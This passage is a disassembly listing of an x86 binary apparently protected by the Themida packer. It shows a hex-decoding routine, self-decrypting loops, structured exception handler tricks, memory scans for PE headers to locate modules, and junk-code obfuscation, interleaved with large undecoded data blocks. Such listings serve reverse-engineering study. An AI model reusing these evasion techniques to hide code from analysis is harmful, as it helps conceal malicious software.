		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_5420E5
		cmp	bl, 39h
		ja	short loc_5420E5
		sub	bl, 30h
		jmp	short loc_542107
; ---------------------------------------------------------------------------

loc_5420E5:				; CODE XREF: Themida_:005420D9j
					; Themida_:005420DEj
		cmp	bl, 61h
		jb	short loc_5420F7
		cmp	bl, 66h
		ja	short loc_5420F7
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_542107
; ---------------------------------------------------------------------------

loc_5420F7:				; CODE XREF: Themida_:005420E8j
					; Themida_:005420EDj
		cmp	bl, 41h
		jb	short loc_542107
		cmp	bl, 46h
		ja	short loc_542107
		sub	bl, 41h
		add	bl, 0Ah

loc_542107:				; CODE XREF: Themida_:005420E3j
					; Themida_:005420F5j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]

loc_54210D:				; CODE XREF: Themida_:005420C1j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_5420C3
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_54211D
		mov	eax, [ebp-10h]
		stosb

loc_54211D:				; CODE XREF: Themida_:00542117j
		inc	dword ptr [ebp-8]

loc_542120:				; CODE XREF: Themida_:005420B1j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_5420B3
		add	edx, 4

loc_542129:				; CODE XREF: Themida_:005420A8j
		cmp	edx, [ebp-4]
		jb	loc_5420AA
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_54213C:				; CODE XREF: start+61F0Fj
		mov	ecx, 7000h
		lea	edi, [ebp+5E735A8h]

loc_542147:				; CODE XREF: start+62137j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_542147
		mov	eax, 48692121h
		mov	edx, 0F00E0000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+5E7368Dh]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		mov	bh, 97h
		jz	loc_54218C
		jl	loc_54218C
		adc	ebx, 2E854225h

loc_54218C:				; CODE XREF: start+62166j start+6216Cj
		sub	eax, edx
		cmc
		and	eax, 0FFFFF000h
		jmp	loc_5421A5
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 99h,	0CAh, 3
		dd 14B261F5h, 385E1235h
		db 97h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_5421A5:				; CODE XREF: start+62180j
		mov	ecx, edx
		xor	edi, edi

loc_5421A9:				; CODE XREF: start+621B0j
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_5421BE
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	short loc_5421C6

loc_5421BE:				; CODE XREF: start+6219Aj
		sub	eax, 1000h
		inc	edi
		jmp	short loc_5421A9
; ---------------------------------------------------------------------------

loc_5421C6:				; CODE XREF: start+621A8j
		pop	large dword ptr	fs:0
		add	esp, 4
		lea	edx, [ebp+5E736A0h]
		push	edx
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		add	eax, ecx
		sub	eax, 1000h
		mov	esi, [eax+4]
		and	esi, 0FFFF0000h
		cmp	esi, 80000000h
		jbe	short loc_542200
		mov	esi, [eax+1Ch]

loc_542200:				; CODE XREF: start+621E7j
		xor	eax, eax

loc_542202:				; CODE XREF: start+62201j
		cmp	eax, 32h
		jz	short loc_542226
		cmp	word ptr [esi],	5A4Dh
		jz	short loc_542217

loc_54220E:				; CODE XREF: start+62210j
		sub	esi, 10000h
		inc	eax
		jmp	short loc_542202
; ---------------------------------------------------------------------------

loc_542217:				; CODE XREF: start+621F8j
		mov	edi, [esi+3Ch]
		add	edi, esi
		cmp	dword ptr [edi], 4550h
		jz	short loc_542268
		jmp	short loc_54220E
; ---------------------------------------------------------------------------

loc_542226:				; CODE XREF: start+621F1j
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 8B51h
		dd 8110244Ch, 0B0A9h, 100000h, 0C0335900h, 4C8B51C3h, 0E8551024h
		dd 0
		dd 0ABED815Dh, 8D05E736h, 0E7366985h, 0B8818905h, 5D000000h
		dd 0C3C03359h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_542268:				; CODE XREF: start+6220Ej
		xchg	eax, esi
		pop	large dword ptr	fs:0
		add	esp, 4
		mov	bx, 5F11h
		jmp	loc_54228A
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 4AD2DB64h, 3FE4CBF0h, 0F0E611DEh
		db 57h,	0F3h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_54228A:				; CODE XREF: start+62263j
		mov	cx, ds
		mov	bl, 0C8h
		and	cl, 4
		mov	ebx, 40C7F28Eh
		jmp	loc_5422A3
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 4826CC7Dh
		db 54h,	22h, 0A1h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_5422A3:				; CODE XREF: start+62283j
		or	cl, cl
		jnz	loc_5422F6
		or	ebx, 450FB034h
		mov	dword ptr [ebp+5E72B8Dh], 1
		mov	bx, 8C80h
		jmp	loc_542303
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0C3C35747h
		dd 2150EEB2h, 0E31E249Eh, 7800F40h, 50000000h, 0CBBA2ABBh
		db 34h,	5Bh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_5422F6:				; CODE XREF: start+62291j
		mov	dword ptr [ebp+5E72B8Dh], 0
		movzx	ebx, dx

loc_542303:				; CODE XREF: start+622ABj
		mov	[ebp+5E70899h],	eax
		jmp	loc_54231E
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 9329h
		dd 0B75A47Ah, 699BB7Dh,	26EEF067h
		db 0Ah,	54h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_54231E:				; CODE XREF: start+622F5j
		mov	[ebp+5E72B05h],	eax
		call	sub_54233A
		sbb	eax, 0E3CAD01h
		popa
		push	ebp
		dec	edx
		pop	ecx
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 0B7FEh
		dd 5A7BAFFAh
		db 68h,	84h

; =============== S U B	R O U T	I N E =======================================



sub_54233A	proc near		; CODE XREF: start+62310p
		mov	bx, cx
		pop	edi
		mov	ebx, eax
		add	edi, 5CF2h
		push	1715h
		adc	eax, 5D3AC93Ch
		pop	ecx
		sub	edx, 6F6A791Fh

loc_542358:				; CODE XREF: sub_54233A+83j
		mov	esi, [edi]
		mov	eax, ecx
		xor	esi, 796D5D64h
		mov	ah, bl
		add	esi, 6717C520h
		jb	loc_542376
		sbb	edx, 75C54A67h

loc_542376:				; CODE XREF: sub_54233A+30j
		add	esi, 33012BB2h
		mov	bx, 52A0h
		push	esi
		mov	dx, 0E9DFh
		pop	dword ptr [edi]
		mov	ebx, 7142E8C8h
		sub	edi, 30630D8Bh
		jmp	loc_54239C
; ---------------------------------------------------------------------------
		db 1Bh
		dd 268481C0h
; ---------------------------------------------------------------------------

loc_54239C:				; CODE XREF: sub_54233A+58j
		add	edi, 30630D87h
		mov	al, 0ECh
		sub	ecx, 1
		jnz	loc_5423BA
		mov	al, 0FAh
		jmp	loc_5423CB	; CODE XREF: sub_54233A+9Aj
; ---------------------------------------------------------------------------
		dd 2F7172BDh
		db 9Bh,	57h
; ---------------------------------------------------------------------------

loc_5423BA:				; CODE XREF: sub_54233A+6Dj
		movzx	eax, dx
		jmp	loc_542358
; ---------------------------------------------------------------------------
		dw 0E059h
		dd 0B185F4CBh
		db 0A1h, 0FFh, 3Bh
; ---------------------------------------------------------------------------

loc_5423CB:				; CODE XREF: sub_54233A+75j
		call	sub_5423D7
		db	3Eh
		pushf
		sub	al, 0D1h
		jg	short near ptr loc_5423AF+1
		xchg	eax, ebx
sub_54233A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5423D7	proc near		; CODE XREF: sub_54233A:loc_5423CBp
		mov	edx, ebx
		pop	ebx
		jmp	loc_5423E8
; ---------------------------------------------------------------------------
		db 8
		dd 0D0410F4Bh, 2D1695ADh
; ---------------------------------------------------------------------------

loc_5423E8:				; CODE XREF: sub_5423D7+3j
		add	ebx, 5F41h
		movsx	edx, di
		push	17A5h
		movzx	edi, dx
		pop	esi
		jno	loc_542402
		mov	dl, 66h

loc_542402:				; CODE XREF: sub_5423D7+23j
					; sub_5423D7:loc_542471j
		mov	ecx, [ebx]
		mov	eax, edi
		xor	ecx, 4C45F241h
		mov	dx, ax
		xor	ecx, 2E22ADF1h
		jnz	loc_542420
		add	ax, 79A0h

loc_542420:				; CODE XREF: sub_5423D7+3Ej
		xor	ecx, 21CEE28Eh
		mov	[ebx], ecx
		sbb	ax, 7F71h
		sub	ebx, 37F54BA4h
		mov	di, 5D6Fh
		add	ebx, 37F54BA0h
		clc
		dec	esi
		jnz	loc_54245D
		mov	edx, ebx
		jmp	loc_542481
; ---------------------------------------------------------------------------
		dd 3CA2E8DFh, 3E77CA35h, 9A34841Fh, 0D7DB87A3h
		db 0C2h
; ---------------------------------------------------------------------------

loc_54245D:				; CODE XREF: sub_5423D7+68j
		jmp	loc_542471
; ---------------------------------------------------------------------------
aCrglZ3U	db 'CrG«!',27h,'œ§^;3*ãì',0
; ---------------------------------------------------------------------------

loc_542471:				; CODE XREF: sub_5423D7:loc_54245Dj
		jmp	loc_542402
; ---------------------------------------------------------------------------
		dw 0F1CCh
		dd 6C33A553h, 60E45EA6h
		db 0DDh
; ---------------------------------------------------------------------------

loc_542481:				; CODE XREF: sub_5423D7+70j
		jmp	loc_542B68
; ---------------------------------------------------------------------------
		dw 8B60h
		dd 0E718019Dh, 79858905h, 6105E700h, 217h, 19h,	14E9h
		dd 0B0947500h, 84343E0Ah, 616B3E2Bh, 2FDF8948h,	65F6C299h
		dd 0E900005Fh, 5, 0B46B4319h, 8D8B60C2h, 5E72A81h, 1A618501h
		dd 606105E7h, 2C09B589h, 0BD0905E7h, 5E71C61h, 8BFCC02Bh
		dd 0E9282454h, 10h, 9EEB779Dh, 0EE6119CEh, 1C8ED385h, 9EC8F72Dh
		dd 22198589h, 858905E7h, 5E72F2Dh, 2870F60h, 60000000h
		dd 0EE95761h, 19000000h, 0ED0F271Ah, 9D5BB442h,	10D8237h
		dd 0BE61593Dh, 3Ch, 247403FCh, 0B1850924h, 8905E721h, 0E70839BDh
		dd 60AD6605h, 28A0Fh, 61600000h, 21958D8Bh, 36105E7h, 31242444h
		dd 0E72C9995h, 52509005h, 10E9h, 2013E500h, 9BF674Bh, 3B1DCE5Ah
		dd 8C03D348h, 60310F45h, 1163BB66h, 0A12615BEh,	585A6177h
		dd 8820F50h, 0F000000h,	288h, 90616000h, 6880Fh, 95010000h
		dd 5E7207Dh, 6078408Bh,	2BE98D89h, 8B6605E7h, 440361D9h
		dd 0F8602824h, 1ED958Bh, 8B6105E7h, 95891840h, 5E72B3Dh
		dd 8870Fh, 8D0F0000h, 2, 0F406160h, 18Dh, 8531F800h, 5E72459h
		dd 38EF8589h, 7E905E7h,	0D5000000h, 925A457Eh, 89586F2Ch
		dd 0E700F5BDh, 78708B05h, 7698529h, 0C68305E7h,	0DD9D311Ch
		dd 305E722h, 60242474h,	0F9FE380h, 28Dh, 61616000h, 0C45BD8Dh
		dd 958905E7h, 5E705D5h,	816660ADh, 6693D5D3h, 361D98Bh
		dd 0E9242444h, 7, 0DA8BED8Eh, 0AB11ABD7h, 0BD29F860h, 5E72085h
		dd 5BD8D61h, 0F05E729h,	185h, 0F8ADF900h, 27E18D31h, 440305E7h
		dd 8E0F2424h, 18h, 13E9h, 0F73CC400h, 0E205EEE1h, 0AA50911Eh
		dd 0B05E9A11h, 18B6E4D4h, 50525050h, 0AE952h, 3BA10000h
		dd 6DFECFBCh, 0B116C14Ah, 6160310Fh, 310F585Ah,	2810Fh
		dd 61600000h, 489585Ah,	25950124h, 0AB05E71Dh, 0BD8DF9F9h
		dd 5E71961h, 810FADF8h,	6, 17299D89h, 440305E7h, 0ABFC2824h
		dd 6810Fh, 85010000h, 5E716F5h,	0C870Fh, 800F0000h, 6
		dd 1851BD89h, 605E05E7h, 27EB8166h, 0B58D0967h,	6105E709h
		dd 38EF8DFFh, 0BD8305E7h, 5E738EFh, 0C7107500h,	1C2444h
		dd 8D000000h, 0E73DB2B5h, 56E6FF05h, 244403ADh,	0DF8B9728h
		dd 32A5858Ah, 0C08405E7h, 73A0474h, 32574C75h, 0FD75AEC0h
		dd 52FB2B5Eh, 49C933FCh, 0C033D18Bh, 32ACDB33h,	8ACD8AC1h
		dd 0B6D68AEAh, 0EBD16608h, 73D8D166h, 41356609h, 0F3816650h
		dd 0CEFE5449h, 0C833EB75h, 754FD333h, 0F7D2F7D5h, 0C1C28BD1h
		dd 8B6610C0h, 0D03B5AC1h, 835E0F74h, 85FF04C6h,	5E72219h
		dd 0FFFF6FE9h, 8D0F5EFFh, 1, 0F98509FCh, 8B05E71Bh, 0E7221985h
		dd 12E905h, 55BA0000h, 0D3FCE655h, 41F79C57h, 0FAB024E8h
		dd 0E4F05D12h, 3F8E0D1h, 0E7196185h, 3D858905h,	105E705h
		dd 0E7033595h, 0F8F62B05h, 81850196h, 6605E719h, 899D29ADh
		dd 0C105E724h, 3F502E0h, 0E70C4585h, 0CE905h, 6EDC0000h
		dd 0A35999A4h, 4CBEE58Ch, 0B460698Fh, 0C78B66FBh, 9E99661h
		dd 0B3000000h, 0B86F49F3h, 0E31C44C0h, 9D8B60ADh, 5E71765h
		dd 0CE9h, 5D15B500h, 259A8EA9h,	0DE33AF62h, 4C8B613Dh
		dd 3FC2424h, 0F242444h,	0C82h, 6880F00h, 1000000h, 0E7045DB5h
		dd 24448905h, 958B601Ch, 5E720F1h, 2481858Bh, 296105E7h
		dd 0E72521B5h, 11E99605h, 66000000h, 999A8A77h,	1AAF7307h
		dd 8A19D9DDh, 239DAF6Ch, 0D18D89ACh, 3205E708h,	0F60F9C9h
		dd 680h, 55958900h, 0F05E70Ah, 0FE61C6BFh, 0FE9C1h, 4BB90000h
		dd 1DA68D4Eh, 0F8B7BCC3h, 91ECE253h, 0FD0D096h,	0B283h
		dd 5E900h, 5C440000h, 0D0F72B8Bh, 0A0830FD0h, 0E9000000h
		dd 6, 34E7A33Ah, 0D0D0D25Fh, 8D820Fh, 60600000h, 12E8h
		dd 3F752000h, 0F2B6AE79h, 0F4E05C2Bh, 3A6DBD8h,	58A26631h
		dd 13E961F9h, 17000000h, 0A5AC8F69h, 0CD9FE6F6h, 28705306h
		dd 32749303h, 0D0611A1Bh, 50820FD0h, 0E9000000h, 0Ch, 88C7FBBCh
		dd 0C42209D7h, 0D211D220h, 890FC9FEh, 0FFFFFF7Dh, 161D8531h
		dd 0C48305E7h, 44C7F520h, 0FC24h, 8B600000h, 0E718619Dh
		dd 61F18B05h, 1B8FCh, 0B5890000h, 5E70C7Dh, 72CA8D8Dh
		dd 0FFF905E7h, 35BD01E1h, 0C605E718h, 0E732A585h, 95290005h
		dd 5E72A69h, 8E0F6061h,	6, 1665BD89h, 0C26105E7h, 800F0008h
		dd 0Ch,	6800Fh,	8D890000h, 5E70BC1h, 13870F50h,	0F000000h
		dd 0D8Ch, 8E900h, 93690000h, 0FB1F3BBAh, 3489BE18h, 15810F24h
		dd 0E9000000h, 10h, 977028C7h, 0C63E0C98h, 26C0CA44h, 0D114FE64h
		dd 3FA2B589h, 850905E7h, 5E70095h, 3FB38D89h, 7E905E7h
		dd 79000000h, 926B91DBh, 0B58D5C53h, 5E73E82h, 0FE9h, 658BE600h
		dd 14EA64D2h, 619B11ADh, 0E9F40F58h, 6820Fh, 9D890000h
		dd 5E71161h, 7E35858Dh,	0FFFC005Bh, 0E95EFCD0h,	6, 0B168CD21h
		dd 89C3BC0Eh, 0E71B2595h, 21B58905h, 8B05E724h,	0E73FA2B5h
		dd 699D8905h, 8B05E716h, 0E73FB38Dh, 81B52905h,	2B05E71Dh
		dd 79B531C0h, 8B05E725h, 8D89F9D9h, 5E71289h, 0C6E9h, 0A1853100h
		dd 6005E717h, 8F0Fh, 0BD290000h, 5E71161h, 29263261h, 0E701F985h
		dd 3102B205h, 0E7143595h, 0C9B52905h, 0E905E706h, 50h
		dd 0E9C232F9h, 9, 29198615h, 994E9F11h,	1D7A05D3h, 8AF88A75h
		dd 0C8D3F5CCh, 15860Fh,	10E90000h, 0B7000000h, 383F2EE1h
		dd 0D0DBB27Eh, 2BEF9BE7h, 353D4E3Bh, 98D10842h,	20B9B589h
		dd 950905E7h, 5E71D19h,	8531CAFEh, 5E7281Dh, 850FD20Ah
		dd 0FFFFFFA9h, 7E860h, 0ED520000h, 10BEE167h, 0C6B70F76h
		dd 185895Fh, 6105E70Ch,	11E94Bh, 770000h, 0BDA6AD13h, 0F73E9F81h
		dd 0A7B85C23h, 46CE4F2Ah, 9D2960F9h, 5E701A9h, 18118D89h
		dd 0B6105E7h, 46850FDBh, 0E9FFFFFFh, 9,	0A1129692h, 6236DF1Ah
		dd 10E9CFE2h, 17000000h, 56912C5Ch, 0C2AAE3E8h,	791D5429h
		dd 5805BCh, 698D8900h, 5E712h, 0E99D0900h, 0FC05E72Ch
		dd 9D010000h, 5E71A81h,	0BD890000h, 5E7154Dh
; ---------------------------------------------------------------------------

loc_542B68:				; CODE XREF: sub_5423D7:loc_542481j
		lea	eax, [ebp+5E7392Ah]
		js	loc_542B8B
		jmp	loc_542B8B
; ---------------------------------------------------------------------------
		db 56h,	5Ch, 0BDh
		dd 6559830Fh, 456C588h,	729CA443h
		db 0FAh, 5Ch, 61h
; ---------------------------------------------------------------------------

loc_542B8B:				; CODE XREF: sub_5423D7+797j
					; sub_5423D7+79Dj
		mov	[ebp+5E716C1h],	eax
		mov	[ebp+5E721B1h],	ebx
		clc
		lea	eax, [ebp+5E73DE3h]
		jnz	loc_542BA5
		stc

loc_542BA5:				; CODE XREF: sub_5423D7+7C7j
		mov	[ebp+5E7230Dh],	eax
		jmp	short loc_542BC1
; ---------------------------------------------------------------------------
		align 10h
		dd 3 dup(0)
		dd 8B00h
		db 0
; ---------------------------------------------------------------------------

loc_542BC1:				; CODE XREF: sub_5423D7+7D4j
		lea	eax, [ebp+5E740DCh]
		mov	[ebp+5E72051h],	eax
		cmp	dword ptr [ebp+5E74014h], 0
		jz	loc_542D0E
		mov	byte ptr [ebp+5E732A5h], 56h
		push	63106990h
		add	dword ptr [esp+0], 710F03A9h
		push	dword ptr [ebp+5E70899h]
		lea	eax, [ebp+5E7392Ah]
		call	eax
		mov	[ebp+5E74008h],	eax
		mov	byte ptr [ebp+5E732A5h], 56h
		call	near ptr loc_542C0E+3
		push	edx

loc_542C0E:				; CODE XREF: sub_5423D7+831p
		mov	eax, 8B509CA8h
sub_5423D7	endp ; sp-analysis failed

		inc	esp
		and	al, 4
		mov	eax, [eax]
		mov	[esp+4], eax
		pop	eax
		push	dword ptr [ebp+5E70899h]
		lea	eax, [ebp+5E7392Ah]
		call	eax
		mov	[ebp+5E7400Ch],	eax
		push	4
		call	sub_542C3C
		add	[eax], dl
; ---------------------------------------------------------------------------
		dw 0

; =============== S U B	R O U T	I N E =======================================



sub_542C3C	proc near		; CODE XREF: Themida_:00542C33p

var_C6		= dword	ptr -0C6h
var_C2		= dword	ptr -0C2h
var_BE		= dword	ptr -0BEh
var_BA		= dword	ptr -0BAh
var_B6		= dword	ptr -0B6h
var_B2		= dword	ptr -0B2h
var_AE		= dword	ptr -0AEh
var_AA		= dword	ptr -0AAh
var_A6		= dword	ptr -0A6h
var_A2		= dword	ptr -0A2h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_E		= dword	ptr  12h

		push	eax
		mov	eax, [esp+4]
		mov	eax, [eax]
		mov	[esp+4], eax
		pop	eax
		mov	eax, [ebp+5E74018h]
		add	eax, 1F4h
		shl	eax, 2
		nop
		push	eax
		nop
		push	0
		call	dword ptr [ebp+5E7400Ch]
		mov	[ebp+5E74010h],	eax
		mov	ebx, eax
		mov	eax, 0FFFFFFFFh
		call	dword ptr [ebp+5E72051h]
		mov	eax, ebx
		call	dword ptr [ebp+5E72051h]
		jmp	loc_542D0E
; ---------------------------------------------------------------------------
		db 83h,	0BDh, 14h
		dd 5E740h, 1850Fh, 57C30000h, 4010BD8Bh, 83AB05E7h, 0E7401085h
		dd 0C35F0405h, 4014BD83h, 0F0005E7h, 185h, 8360C300h, 0E74010ADh
		dd 9D8B0405h, 5E74010h,	0FFFC7B83h, 26850Fh, 4E80000h
		dd 0
		dd 50000080h, 424448Bh,	4489008Bh, 6A580424h, 0FF33FF00h
		dd 0E7400895h, 0E9C36105h, 1Dh,	0B528468h, 24348151h, 510BD284h
		dd 33FF006Ah, 400895FFh, 0AD8305E7h, 5E74010h, 0FFA8E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_542D0E:				; CODE XREF: sub_5423D7+7FDj
					; sub_542C3C+40j
		dec	eax
		jmp	loc_542EC1
; ---------------------------------------------------------------------------
		dd 24748B60h, 247C8B24h, 80B2FC28h, 8846068Ah, 2BB4707h
		dd 2000000h, 5850FD2h, 8A000000h, 0D2124616h, 0FFE2830Fh
		dd 0D202FFFFh, 5850Fh, 168A0000h, 0FD21246h, 6A83h, 2C03300h
		dd 5850FD2h, 8A000000h,	0D2124616h, 12A830Fh, 0D2020000h
		dd 5850Fh, 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h
		dd 0C013D212h, 850FD202h, 5, 1246168Ah,	2C013D2h, 5850FD2h
		dd 8A000000h, 0D2124616h, 840FC013h, 6,	8AF82B57h, 7885F07h
		dd 2BB47h, 70E90000h, 0B8FFFFFFh, 1, 850FD202h,	5, 1246168Ah
		dd 2C013D2h, 5850FD2h, 8A000000h, 0D2124616h, 0FFDE820Fh
		dd 0C32BFFFFh, 1BBh, 34850F00h,	0B9000000h, 1, 850FD202h
		dd 5, 1246168Ah, 2C913D2h, 5850FD2h, 8A000000h,	0D2124616h
		dd 0FFDE820Fh, 8B56FFFFh, 0F3F52BF7h, 8E95EA4h,	48FFFFFFh
		dd 8A08E0C1h, 0E88B4606h, 1B9h,	0FD20200h, 585h, 46168A00h
		dd 0C913D212h, 850FD202h, 5, 1246168Ah,	0DE820FD2h, 3DFFFFFFh
		dd 7D00h, 22830Fh, 3D0000h, 0F000005h, 0E82h, 8B564100h
		dd 0F3F02BF7h, 0B4E95EA4h, 83FFFFFEh, 870F7FF8h, 3, 5602C183h
		dd 0F02BF78Bh, 0E95EA4F3h, 0FFFFFE9Bh, 3346068Ah, 1E8C0C9h
		dd 17840Fh, 0D1830000h,	56E88B02h, 0F02BF78Bh, 0BB5EA4F3h
		dd 1, 0FFFE76E9h, 247C2BFFh, 247C8928h,	8C2611Ch
		db 0
; ---------------------------------------------------------------------------

loc_542EC1:				; CODE XREF: sub_542C3C+D3j
		mov	edx, 929h
		jmp	loc_54389E
; ---------------------------------------------------------------------------
		db 2Fh
		dd 6467274Fh, 27E77562h, 8CE8E245h, 9CDC8A93h, 0CFB1DA1Ah
		dd 50089491h, 0B6F52F7Bh, 72511E8Fh, 6F6A2769h,	35EF7920h
		dd 9DBBB052h, 93998D81h, 0BFD2B551h, 4D1C9E9Bh,	0B6A7237Ah
		dd 7D571C8Fh, 756A276Ah, 2FF26620h, 81A5B04Dh, 878E969Fh
		dd 8BB1DE5Fh, 4D1889D7h, 0B7F56E6Bh, 695709C1h,	7373277Ch
		dd 21F2676Fh, 0BE4Dh, 62h dup(0)
		dd 2F000000h, 6E6E274Fh, 2FF4696Eh, 96B8B052h, 9F8E9E9Dh
		dd 8EB79F12h, 5B1FDB84h, 0A5A7617Ah, 7856058Eh,	6F76752Eh
		dd 27EE696Eh, 0C4A6F900h, 8C89968Bh, 9CA6CC5Fh,	10109E83h
		dd 0AFD70215h, 794B1184h, 6F762722h, 24E16F6Ch,	0C4BCF900h
		dd 93938B94h, 82BAD25Fh, 1E048998h, 0E3E3617Eh,	684B1593h
		dd 2177756Fh, 32F56F79h, 8BBAE000h, 939D8B95h, 51h, 47h	dup(0)
		dd 2F000000h, 7360274Fh, 25EB6361h, 0C4BBB752h,	92939686h
		dd 9CBED75Fh, 5B1899D7h, 0ACE12F71h, 3C5C1E94h,	6F6D727Ch
		dd 60E76E69h, 9DE8FE49h, 0DE8E8C9Dh, 9BACC60Ch,	34539692h
		dd 0A6EB5F12h, 305D0380h, 6D6D722Eh, 60E4616Fh,	82E8E449h
		dd 0DE919680h, 80B2DA12h, 5F5D8285h, 0B1A76B71h, 7D4C0384h
		dd 7823737Ch, 60F2756Fh, 83A7E250h, 0D0919880h,	61h dup(0)
		dd 2F000000h, 646F6E48h, 32EF6320h, 90B8E552h, 0D0DD9D97h
		dd 86B7EB5Fh, 4C0DDB84h, 0A2F56870h, 7D50508Ch,	6461277Dh
		dd 2DA06E65h, 94A1FE41h, 8A9D9587h, 8EFFDB1Ah, 535D9F99h
		dd 0A6E5767Eh, 68517DEBh, 68237429h, 23E5666Eh,	0C4ACF554h
		dd 9FDC8090h, 9DB6E95Fh, 515D8882h, 0B1E42F6Dh,	79531380h
		dd 5523296Ah, 60F36968h, 81A4F946h, 90938ED2h, 98FFCB58h
		dd 1E168998h, 0AEFE617Eh, 325D028Eh, 0E0h dup(0)
		dd 57000000h, 6D754E4Ch, 734C4C44h, 746F7250h, 3000h, 8	dup(0)
		dd 69784500h, 74532074h, 73757461h, 25203D20h, 64h, 0
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54389E:				; CODE XREF: sub_542C3C+28Aj
		jmp	loc_54694C
; ---------------------------------------------------------------------------
		db 6Ah
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0B478C352h, 89E55DB9h, 0E70341BDh, 0D68BFC05h
		dd 8166C08Bh, 83C685EAh, 0E70C81BDh, 9750005h, 2819BD83h
		dd 740005E7h, 8B535013h, 1B8C0h, 9D8D0000h, 5E9B335h, 585BD3FFh
		dd 2819BD83h, 740005E7h, 0B8535011h, 1,	0B1E69D8Dh, 0D3FF05E9h
		dd 0CE8585Bh, 76000000h, 10104802h, 0D6A00688h,	0E9365F38h
		dd 7, 0DB44DDE7h, 5B83AF72h, 2EE19D03h,	0C08B05E7h, 221B529h
		dd 0BD8305E7h, 5E711A1h, 0BC840F00h, 0E8000001h, 6, 0AF3477C0h
		dd 5AFC9095h, 1BFDBD83h, 0F0005E7h, 1A284h, 0D59D8900h
		dd 6005E712h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 14h,	0C2C35545h, 86741EBBh, 0FD858B66h, 6005E71Bh, 11898589h
		dd 816605E7h, 61A6ABDAh, 3E805h, 8A0F6000h, 6, 2018D89h
		dd 8D8905E7h, 5E71679h,	52505061h, 0BB66310Fh, 585ABC86h
		dd 8B240489h, 0E0858DD7h, 105E74Ch, 0E717E185h,	0B5858905h
		dd 5005E707h, 1B75250h,	5250310Fh, 11E8h, 0C4271900h, 41A37C97h
		dd 22778E1Ch, 0B5E42932h, 0F5B9534h, 0D08B6631h, 585A585Ah
		dd 6A240489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 3C0FC355h, 51D5F790h, 17C1134h
		dd 0E72445BDh, 0C2C28005h, 4CBE858Dh, 870F05E7h, 6, 28F59D23h
		dd 505005E7h, 0B1BA6652h, 0E8310F69h, 11h, 0CE9F9127h
		dd 0D3F14C48h, 1FCCE47Ah, 676AFE42h, 5AD38BA4h,	489585Ah
		dd 0C1BD8924h, 0FF05E72Bh, 0E709BD95h, 5AB35105h, 0CC4835Bh
		dd 0A91BE60h, 0B5011811h, 5E71C69h, 0BE858D61h,	8B05E74Ch
		dd 0E718759Dh, 52505005h, 7DD1BB51h, 0F5B6C68h,	0AE931h
		dd 0AA700000h, 6461EF31h, 630233B3h, 489585Ah, 0C890F24h
